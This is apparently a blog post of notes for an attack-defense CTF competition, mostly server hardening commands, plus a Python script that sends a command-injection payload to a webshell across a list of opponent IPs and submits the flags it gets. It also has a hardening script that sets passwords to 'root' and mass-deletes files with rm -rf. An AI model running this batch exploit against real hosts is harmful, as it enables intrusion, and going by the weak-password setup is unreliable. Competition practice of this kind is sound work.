Awd Note

线下攻防赛笔记。

从下面几个方面入手。

拿到服务器

先passwd命令修改用户密码，数据库密码，数据库中的网站账户密码

查看/etc/passwd下的后门用户，删除

备份/var/www/html/下的源码，d盾扫描后门

禁止修改文件夹内容chattr -R +i /var/www/html

看下最近的敏感操作

1cat /root/.bash_history

看下最近登录的账户 lastlog

1last -n 5|awk '{print $1}'

ps aux ps -ef查看诡异进程查看已建立的网络连接及进程

1netstat -antulp | grep EST

批量杀进程

1kill `ps aux|grep 进程名|awk {'print $2'}`

查找24小时内修改的文件

1find ./ -mtime 0 -name "*.php"

ssh加固

/etc/ssh/sshd_config

修改ssh端口号

增加条目

1AllowUsers root
2AllowGroups root
3DenyUsers	看情况
4DenyGroups	看情况

1/etc/hosts.allow
2/etc/hosts.deny
3# cat hosts.allow
4sshd: 172.24.11. , 172.24.12.	//sshd只允许这两个ip段链接

更改完需要重启ssh服务

MySQL加固

备份mysql数据库

1mysqldump -u 用户名 -p 密码 数据库名 > bak.sql
2mysqldump --all-databases > bak.sql

还原mysql数据库

1mysql -u 用户名 -p 密码 数据库名 < bak.sql

删除phpmyadmin

更改MySQL root密码

方法1：用SET PASSWORD命令

1mysql -u root
2mysql> SET PASSWORD FOR ['root'@'localhost'](mailto:'root'@'localhost') = PASSWORD('newpass');

方法2：用mysqladmin

1mysqladmin -u root password "newpass"

如果root已经设置过密码，采用如下方法

1mysqladmin -u root password oldpass "newpass"

方法3：用UPDATE直接编辑user表

1mysql -u root
2
3mysql> use mysql;
4
5mysql> UPDATE user SET Password = PASSWORD('newpass') WHERE user = 'root';
6
7mysql> FLUSH PRIVILEGES;

在没有root密码的时候，可以这样

1mysqld_safe --skip-grant-tables&
2
3mysql -u root mysql
4
5mysql> UPDATE user SET password=PASSWORD("new password") WHERE user='root';
6
7mysql> FLUSH PRIVILEGES;

日志

日志路径

 1/var/log/auth.log
 2/var/log/apache2/access.log
 3/var/log/apache2/error.log
 4/var/log/messages
 5lastlog
 6last
 7lastb
 8/var/log/maillog
 9/var/log/secure 
10find / -name nginx.conf nginx的配置文件中有日志目录
11access_log /var/log/nginx/access.log;
12error_log /var/log/nginx/error.log;
13tomcat的日志默认是存放在安装目录下的logs目录下

查看访问最多的前十个IP

1cat /var/log/apache2/access.log |cut -d ' ' -f1|sort|uniq -c|sort -r|head -n 10

查看访问最多的前十个url

1cat /var/log/apache2/access.log |cut -d ' ' -f7|sort|uniq -c|sort -r|head -n 10

文件监控

1git clone https://github.com/seb-m/pyinotify.git
2cd pyinotify/
3python setup.py install

启动监控

1python -m pyinotify /var/www/html/

网络监控

iptables操作

开放端口

 1#开放ssh
 2iptables -A INPUT -p tcp --dport 22 -j ACCEPT
 3iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
 4#打开80端口iptables -A INPUT -p tcp --dport 80 -j ACCEPT
 5iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
 6#开启多端口简单用法
 7iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
 8#允许外部访问本地多个端口 如8080，8081，8082,且只允许是新连接、已经连接的和已经连接的延伸出新连接的会话
 9iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
10iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT

限制IP和访问速率

1#单个IP的最大连接数为 30
2iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
3#单个IP在60秒内只允许最多新建15个连接
4iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECTiptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
5#允许外部访问本机80端口，且本机初始只允许有10个连接，每秒新增加2个连接，如果访问超过此限制则拒接 （此方式可以限制一些攻击）
6iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPTiptables -A OUTPUT -p tcp --sport 80 -j ACCEPT

放DDOS

1iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT

iptables-save 保存

批量提交flag

下面是在iscc2019下线awd中用到的脚本

 1#!/usr/bin/env python
 2# -*- coding: utf-8 -*-
 3import requests
 4
 5
 6def getflag(ip):
 7    # 批量获取shell
 8    url = "http://{}/8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php".format(ip)
 9    print(url)
10
11    data = {
12        'a': 'a=1);system(getflag',
13    }
14    res = requests.post(url, data, ).content
15    print res[758:-1]
16    if 'flag' in res:
17        postflag(res[758:-1])
18
19
20def postflag(flag):
21    flag = flag.replace('\n','').replace('\t','').strip()
22    headers = {
23        'Cookie': 'MacaronSession=b54f71d79035ee55'
24    }
25    data = {
26        'flag': flag
27    }
28    print flag
29    r = requests.post('http://172.16.100.5:4000/sendconflictflag', data=data, headers=headers)
30    print(r.content)
31
32def getip():
33    with open('ip.txt', 'r') as f:
34        ips = [ip.strip('\n').replace('\t', '') for ip in f.readlines()]
35        for ip in ips:
36            # print(ip[0:3])
37            try:
38
39                if ip[0:3] == '119':
40                    getflag(ip[1:])
41                # if ip[:3] == '192':
42                #     getflag(ip[1:])
43            except:
44                continue
45
46if __name__ == '__main__':
47    # for ip in range(1, 255):
48    # getflag('192.168.{}.1'.format(ip))
49    # getflag('127.0.0.1')
50    getip()

其他的脚本

  1#!/usr/bin/env python
  2# -*- coding: utf-8 -*-
  3# author:Y4er
  4import logging
  5import random
  6import string
  7import paramiko
  8
  9logger = logging.getLogger("Logger")
 10logger.setLevel(logging.DEBUG)
 11handler = logging.StreamHandler()
 12formatter = logging.Formatter(fmt='%(asctime)s - %(levelname)s - %(message)s', datefmt='%Y/%m/%d %H:%M:%S')
 13handler.setFormatter(formatter)
 14logger.addHandler(handler)
 15
 16
 17def randomStr(size=16, chars=string.ascii_uppercase + string.digits):
 18    return ''.join(random.choice(chars) for _ in range(size))
 19
 20
 21def changeSSHPwd(host, username, newpasswd='root', port=22, timeout=5):
 22    '''
 23    更改ssh root密码并返回链接会话对象
 24    :param host: ip地址
 25    :param username: root
 26    :param newpasswd: 新密码
 27    :param port: 端口默认22
 28    :param timeout: 连接超时5s
 29    :return:
 30    '''
 31    try:
 32        ssh = paramiko.SSHClient()
 33        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 34        ssh.connect(host, port, username, newpasswd, timeout=timeout)
 35        logger.info("{} 链接成功.".format(host))
 36
 37        stdin, stdout, stderr = ssh.exec_command('id')
 38        logger.info("当前用户权限:%s" % stdout.read().strip('\n'))
 39        stdin, stdout, stderr = ssh.exec_command('echo {}:{}|chpasswd {}'.format(username, newpasswd, username))
 40        logger.warning('尝试更改{}密码为:{}.'.format(host, newpasswd))
 41
 42    except Exception as e:
 43        logging.error("{} ssh connect fail.{}".format(host, e))
 44        exit(0)
 45    return ssh
 46
 47
 48def check(session):
 49    '''
 50    显示一些基本信息
 51    :param session: ssh会话
 52    :param rootpass: 原root密码
 53    :return:
 54    '''
 55    stdin, stdout, stderr = session.exec_command(
 56        '''sudo cat /etc/passwd|grep -v nologin|awk -F ":" {'print $1"|"$3"|"$4"|"$6'}''')
 57    logger.info("显示可疑用户\n" + stdout.read())
 58
 59    stdin, stdout, stderr = session.exec_command('''last -n 10|awk '{print $1}' ''')
 60    logger.info("显示最近登录的10个用户\n" + stdout.read())
 61
 62    stdin, stdout, stderr = session.exec_command(
 63        '''find / -iname "*upload*" |grep php ''')
 64    logger.info("可疑上传文件的脚本\n" + stdout.read())
 65
 66    stdin, stdout, stderr = session.exec_command(
 67        '''netstat -natlp |sed '1,2d'|awk -F " " {'print $4"|"$5"|"$6'} ''')
 68    logger.info("所有开放的端口号\n本地主机|远程主机|状态\n" + stdout.read())
 69
 70    stdin, stdout, stderr = session.exec_command(
 71        '''netstat -antulp | grep EST ''')
 72    logger.info("查看已建立的网络连接及进程\n" + stdout.read())
 73
 74    stdin, stdout, stderr = session.exec_command(
 75        '''find / -mtime 0 -name "*.php" ''')
 76    logger.info("查找24小时内修改的文件\n" + stdout.read())
 77
 78
 79def bak(session, rootpass, newrootpass='root'):
 80    '''
 81    备份文件
 82    :param session:ssh会话
 83    :return:
 84    '''
 85    session.exec_command(
 86        '''sudo cp /etc/passwd /tmp/passwd && sudo cp /etc/shadow /tmp/shadow ''')
 87    logger.info("备份passwd和shadow到/tmp/")
 88
 89    stdin, stdout, stderr = session.exec_command(
 90        '''mkdir /tmp/www/ && cp -R /var/www/html/ /tmp/www/ ''')
 91    logger.info("备份/var/www/html/到/tmp/www/")
 92
 93    session.exec_command(
 94        '''mkdir /tmp/database/ && mysqldump -uroot -p{} --all-databases > /tmp/database/all.sql'''.format(rootpass))
 95    logger.info("备份MySQL数据库到/tmp/database/all.sql")
 96
 97    session.exec_command('''find / -iname "phpinfo.php"|xargs rm -rf''')
 98    logger.warning("删除phpinfo.php")
 99
100    session.exec_command('''find / -type d -iname "*phpmyadmin*"|xargs rm -rf''')
101    logger.warning("删除phpmyadmin")
102
103    session.exec_command('''mysqladmin -u root -p{} password {}'''.format(rootpass, newrootpass))
104    logger.warning("修改MySQL root账户密码为{}".format(newrootpass))
105    session.exec_command('''service mysql restart''')
106
107
108def defend(session, ip):
109    '''
110    加固措施
111    :param session: ssh会话
112    :param ip: 你的ip或c段
113    :return:
114    '''
115    stdin, stdout, stderr = session.exec_command('''echo "sshd:{}" >> /etc/hosts.allow '''.format('ip'))
116    logger.warning("添加{}到/etc/hosts.allow".format(ip))
117    stdin, stdout, stderr = session.exec_command('''service ssh restart''')
118
119    stdin, stdout, stderr = session.exec_command(
120        '''mkdir -R /bin/zzrvtc/ && mv /bin/curl /bin/zzrvtc/curl && mv /bin/wget /bin/zzrvtc/wget && mv /bin/ls /bin/zzrvtc/ls && mv /bin/cd /bin/zzrvtc/cd&&mv /bin/ll /bin/zzrvtc/ll''')
121    logger.warning("移动curl wget cd ls ll命令到/bin/zzrvtc/下 {}".format(stdout.read()))
122
123
124if __name__ == '__main__':
125    # 更改ssh密码为root
126    session = changeSSHPwd('192.168.24.128', 'root', 'root')
127    # check
128    check(session)
129    # 更改mysql密码为root
130    bak(session, 'root')
131    # 防御策略
132    defend(session,'192.168.24.128/24')

1批量给php文件引用waf.php
2find . -type f -name "*.php"|xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/waf.php');\n/g"

Awd Note

拿到服务器

ssh加固

MySQL加固

日志

文件监控

网络监控

批量提交flag

其他的脚本

版权

评论

Awd Note

拿到服务器

ssh加固

MySQL加固

日志

文件监控

网络监控

批量提交flag

其他的脚本

版权

相关文章

评论